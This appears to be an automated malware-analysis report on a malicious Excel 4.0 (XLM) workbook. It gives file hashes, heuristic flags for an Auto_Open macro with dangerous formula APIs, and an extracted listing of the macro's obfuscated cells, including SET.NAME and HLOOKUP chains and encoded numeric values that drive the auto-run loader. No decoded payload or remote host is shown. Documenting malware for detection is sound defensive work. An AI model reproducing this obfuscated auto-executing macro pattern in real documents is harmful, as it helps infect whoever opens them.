Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e49577b3500b0993…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:00 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: cb0f1df406581f0325af3c2b4feae972 SHA-1: 35679657a111a78f23e06fe46cd53d366a1351d6 SHA-256: e49577b3500b0993eedc487dffd7dff1a7ecc9ad77a853ef434503882a017538
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6959 bytes
SHA-256: 12881d570d5e24dd89698a004c8d9a5f5e01ce5fedcaca9ab95dd6c54a653c0c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lsweEVdNap
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C166 
' 0018     24 LABEL : Cell Value, String Constant - AVeTALfRC len=0 
' 0018     24 LABEL : Cell Value, String Constant - DAwNOkEoT len=0 
' 0018     22 LABEL : Cell Value, String Constant - ewUuNow len=0 
' 0018     21 LABEL : Cell Value, String Constant - FnuCuE len=0 
' 0018     23 LABEL : Cell Value, String Constant - HBfZjNYt len=0 
' 0018     26 LABEL : Cell Value, String Constant - HIjWmRQylrM len=0 
' 0018     21 LABEL : Cell Value, String Constant - IcGznj len=0 
' 0018     22 LABEL : Cell Value, String Constant - jkHVNxH len=0 
' 0018     26 LABEL : Cell Value, String Constant - MCMBXvtvljW len=0 
' 0018     20 LABEL : Cell Value, String Constant - OewBp len=0 
' 0018     26 LABEL : Cell Value, String Constant - PvrSLonOmTI len=0 
' 0018     22 LABEL : Cell Value, String Constant - rDoUfGx len=0 
' 0018     24 LABEL : Cell Value, String Constant - SvvRVqXvV len=0 
' 0018     25 LABEL : Cell Value, String Constant - ThNuLQBXhZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - vdTYNlbJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - veSIjduNrHaF len=0 
' 0018     21 LABEL : Cell Value, String Constant - vRtapY len=0 
' 0018     22 LABEL : Cell Value, String Constant - vYZrEUJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - xfOyRpJS len=0 
' 0018     27 LABEL : Cell Value, String Constant - YxsbjROUtKgk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lsweEVdNap,C73,"SET.NAME("veSIjduNrHaF",0+VALUE("0"))",""
'  lsweEVdNap,S74,"",319.00000000000000000000
'  lsweEVdNap,C75,"SET.NAME("AVeTALfRC",veSIjduNrHaF)",""
'  lsweEVdNap,S75,"",350.00000000000000000000
'  lsweEVdNap,S76,"",616.00000000000000000000
'  lsweEVdNap,S77,"",-10.00000000000000000000
'  lsweEVdNap,S78,"",-199.00000000000000000000
'  lsweEVdNap,C79,"SET.NAME("PvrSLonOmTI",veSIjduNrHaF)",""
'  lsweEVdNap,S79,"",388.00000000000000000000
'  lsweEVdNap,C83,"SET.NAME("jkHVNxH",COUNTA(MCMBXvtvljW))",""
'  lsweEVdNap,C86,"SET.NAME("YxsbjROUtKgk",COUNTA(HBfZjNYt))",""
'  lsweEVdNap,C89,[],""
'  lsweEVdNap,C93,"SET.NAME("FnuCuE","")",""
'  lsweEVdNap,C97,"AVeTALfRC",""
'  lsweEVdNap,C100,"SET.NAME("xfOyRpJS",HLOOKUP("*",MCMBXvtvljW,AVeTALfRC,FALSE))",""
'  lsweEVdNap,C104,"OewBp",""
'  lsweEVdNap,C106,"SET.NAME("IcGznj",veSIjduNrHaF)",""
'  lsweEVdNap,C111,[],""
'  lsweEVdNap,C115,"IcGznj",""
'  lsweEVdNap,C119,"vRtapY",""
'  lsweEVdNap,C124,"rDoUfGx",""
'  lsweEVdNap,C129,"HIjWmRQylrM",""
'  lsweEVdNap,C131,"SET.NAME("DAwNOkEoT",VALUE(HLOOKUP("*",HBfZjNYt,HIjWmRQylrM,FALSE)))",""
'  lsweEVdNap,C136,"vYZrEUJ",""
'  lsweEVdNap,C138,"FnuCuE",""
'  lsweEVdNap,C142,"PvrSLonOmTI",""
'  lsweEVdNap,C144,NEXT(),""
'  lsweEVdNap,C149,"vdTYNlbJ",""
'  lsweEVdNap,C154,[],""
'  lsweEVdNap,C157,"ewUuNow",""
'  lsweEVdNap,C159,NEXT(),""
'  lsweEVdNap,C164,RETURN(),""
'  lsweEVdNap,C191,"SET.NAME("ThNuLQBXhZ",C73)",""
'  lsweEVdNap,C194,"MCMBXvtvljW",""
'  lsweEVdNap,C199,"SET.NAME("HBfZjNYt",R43C11)",""
'  lsweEVdNap,C202,"SET.NAME("ewUuNow",209)",""
'  lsweEVdNap,C204,"SET.NAME("SvvRVqXvV",3)",""
'  lsweEVdNap,C208,ThNuLQBXhZ(),""
'  lsweEVdNap,C209,HALT(),""

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